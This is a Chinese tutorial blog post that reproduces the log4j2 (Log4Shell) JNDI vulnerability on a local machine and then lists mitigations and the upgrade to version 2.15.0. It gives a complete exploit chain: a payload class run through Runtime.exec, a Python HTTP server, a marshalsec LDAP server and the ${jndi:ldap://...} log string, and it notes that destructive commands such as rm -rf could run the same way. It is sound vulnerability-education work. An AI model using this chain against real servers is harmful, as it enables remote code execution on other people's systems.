lo4j2 漏洞复现过程及解决方案

本文涉及的产品
日志服务 SLS,月写入数据量 50GB 1个月
简介: 复现的具体流程:先写一段想要被远程执行的 java 代码,然后编译成 class 文件将 HTTP Server 启动,保证可以通过 Http Server 访问到这个 class 文件。将 LDAP Server 启动,并将 Http Server 上的那个 class 文件注册上去。启动 java 应用程序,利用 log4j2 写日志,日志内容包括如 ${jndi:ldap://127.0.0.1:1389/#Exploit} 这样的内容。观察结果,看 class 文件中的程序逻辑有没有被执行。

复现漏洞


环境介绍


  • 操作系统:macos Catalina
  • jdk 版本:11.0.9.1
  • log4j2 版本:2.13.3(使用 springboot 2.3.2.RELEASE 间接依赖)


原理介绍


引用公众号:“小林 coding” 的一张图:


102.jpg


使用 log4j2 正常打日志的时候没事儿,比如:


logger.info("this is {}", "log4j2 demo");


但如果你的日志中包含 “${” 开头,“}” 结尾的内容就会被解析出来,单独处理。

而如果“${}” 所包裹的内容是类似这样的:

jndi:ldap://127.0.0.1:1389/#Exploit,则有可能触发这个漏洞。

复现具体流程是这样的:


  1. 先写一段想要被远程执行的 java 代码,然后编译成 class 文件


  1. 将 HTTP Server 启动,保证可以通过 Http Server 访问到这个 class 文件。


  1. 将 LDAP Server 启动,并将 Http Server 上的那个 class 文件注册上去。


  1. 启动 java 应用程序,利用 log4j2 写日志,日志内容包括如 ${jndi:ldap://127.0.0.1:1389/#Exploit} 这样的内容。


  1. 观察结果,看 class 文件中的程序逻辑有没有被执行。


复现


<parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.3.2.RELEASE</version>
        <relativePath/>
</parent>
...
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>


可以看到,我是通过 spring-boot-starter-log4j2 来间接引用的 log4j2 的。引入的具体包版本是这样的:


103.jpg


我们先写一段想要被执行的程序:


public class Exploit {
    public Exploit() {
        try {
            System.out.println("执行漏洞代码");
            String[] commands = {"open", "/System/Applications/Calculator.app"};
            Process pc = Runtime.getRuntime().exec(commands);
            pc.waitFor();
            System.out.println("完成执行漏洞代码");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static void main(String[] args) {
        Exploit exploit = new Exploit();
    }
}


这段程序是打开我电脑上的计算器程序。


注意:这里的程序不要写 package 包名,我在这里浪费了不少时间,写包名可能会导致后面执行的时候报错。


然后我们找一个空目录,把 java 文件 copy 过去,接着编译它:


javac Exploit.java


接着我在当前目录下执行:


python -m SimpleHTTPServer 8800


目的是启动一个 HTTP Server, 当然你也可以用 nginx 或者 java 程序来做,只要能够充当 HTTP Server 的都可以。


启动后你可以在浏览器里验证一下:


104.jpg


再来我们在本地启动一个 LDAP Server。


https://github.com/mbechler/marshalsec 从这里下载代码然后执行打包编译:


mvn clean package -DskipTests


打包后,到 target 目录下执行:


java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8800/#Exploit"


上面命令的目的是启动 LDAP Server,并且把我们的程序注册到 LDAP Server 上。具体来说是把带有 Http Server 地址(上面用 python 启动的 HTTP server)的 url 注册到 LDAP Server 上。


正常启动后 LDAP 会开始监1389 端口


105.jpg


最后我们编写记录日志程序:


private static final Logger logger = LogManager.getLogger(Log4jDemo.class);
    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        logger.error("${jndi:ldap://127.0.0.1:1389/#Exploit}");
        try {
            Thread.sleep(1000);
        } catch (Exception e) {
        }
    }


执行后效果:


106.jpg


可以看到,我的计算器被调起了。既然可以执行语句和代码逻辑,那么像 rm -rf删库 这种操作也可以执行的!


上面这段程序中,有一行代码要注意:


System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");


如果设置成 false 或者注释掉这行代码,则计算器都不会被调起,即攻击程序不会被执行。原因是 :


“Java 最终也修复了这个利用点,对 LDAP Reference 远程工厂类的加载增加了限制,在 Oracle JDK 11.0.1、8u191、7u201、6u211 之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为 false,还对应的分配了一个漏洞编号 CVE-2018-3149”


那是不是意味着,高版本的 JDK 就不会有漏洞呢?


不是的,还是有办法攻击,不要抱有侥幸心理,具体可以参考:https://paper.seebug.org/942/#4-jdk-8u191


解决方案


改配置


网上常说的临时补救方案是修改配置如:


  1. 修改 jvm 参数 -Dlog4j2.formatMsgNoLookups=true


  1. 修改配置 log4j2.formatMsgNoLookups=True


  1. 将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true

原理其实都一样,就是禁用 log4j2 的 lookup 。


升级版本


目前官方 2.15.0 版本已经修复了这个问题,可以升级这个版本,笔者利用上面的程序修改了版本号后,发现漏洞无法再复现了


<!-- 可以在这里修改 log4j 依赖版本-->
<log4j2.version>2.15.0</log4j2.version>


110.jpg


当然你也可以手动编译 log4j2 的源码,然后上传到自己的 maven 私服,再修改公共依赖升级版本。


注意编译 log4j2 源码时需要 1.9 以上版本的 jdk,因为它有这么个东西


107.jpg


相关实践学习
【涂鸦即艺术】基于云应用开发平台CAP部署AI实时生图绘板
【涂鸦即艺术】基于云应用开发平台CAP部署AI实时生图绘板
相关文章
|
运维 Kubernetes 监控
揭秘高效运维:如何用kubectl top命令实时监控K8s资源使用情况?
揭秘高效运维:如何用kubectl top命令实时监控K8s资源使用情况?
3963 0
|
SQL 数据库
商城数据库表设计介绍
商城数据库表设计介绍
1924 0
商城数据库表设计介绍
|
数据采集 安全
主动扫描和被动扫描
在扫描器中输入目标域名或者URL用爬虫模块爬取所有链接,对GET、POST等请求进行参数变形和污染,进行重放测试,然后依据返回信息中的状态码、数据大小、数据内容关键字等去判断该请求是否含有相应的漏洞。
1085 0
主动扫描和被动扫描
|
4月前
|
人工智能 运维 安全
中企出海大会|打造全球化云计算一张网,云网络助力中企出海和AI创新
阿里云网络作为全球化战略的重要组成部分,致力于打造具备AI技术服务能力和全球竞争力的云计算网络。通过高质量互联网服务、全球化网络覆盖等措施,支持企业高效出海。过去一年,阿里云持续加大基础设施投入,优化海外EIP、GA产品,强化金融科技与AI场景支持。例如,携程、美的等企业借助阿里云实现业务全球化;同时,阿里云网络在弹性、安全及性能方面不断升级,推动中企迎接AI浪潮并服务全球用户。
755 8
|
存储 数据采集 安全
各种系统架构图与详细说明
原文:各种系统架构图与详细说明 共享平台逻辑架构设计 如上图所示为本次共享资源平台逻辑架构图,上图整体展现说明包括以下几个方面: 1 应用系统建设 本次项目的一项重点就是实现原有应用系统的全面升级以及新的应用系统的开发,从而建立行业的全面的应用系统架构群。
26386 1
|
Android开发
IDEA编译gradle提示This version of the Android Support plugin for IntelliJ IDEA (or Android Studio) cannot open this project, please retry with version 2020.3.1 or newer.
IDEA编译gradle提示This version of the Android Support plugin for IntelliJ IDEA (or Android Studio) cannot open this project, please retry with version 2020.3.1 or newer.
1243 1
快速部署 HeyForm 社区版
借助 HeyForm,任何人都可以轻松创建引人入胜的对话表单,用于调查、问卷、测验和民意调查,无需任何编码技能。本文介绍使用计算巢快速部署HeyForm社区版。
快速部署 HeyForm 社区版
|
云安全 安全 Go
云:私有云与公有云对比
公有云与私有云安全的区别
524 1
|
安全 测试技术 数据库
RC 漏洞挖掘:开发厂商.(批量通杀)(教育漏洞报告平台)
RC 漏洞挖掘:开发厂商.(批量通杀)(教育漏洞报告平台)
389 2
|
SQL 数据可视化 数据处理
实时计算 Flink版产品使用问题之如何进行数据加密之后怎么解密
实时计算Flink版作为一种强大的流处理和批处理统一的计算框架,广泛应用于各种需要实时数据处理和分析的场景。实时计算Flink版通常结合SQL接口、DataStream API、以及与上下游数据源和存储系统的丰富连接器,提供了一套全面的解决方案,以应对各种实时计算需求。其低延迟、高吞吐、容错性强的特点,使其成为众多企业和组织实时数据处理首选的技术平台。以下是实时计算Flink版的一些典型使用合集。
实时计算 Flink版产品使用问题之如何进行数据加密之后怎么解密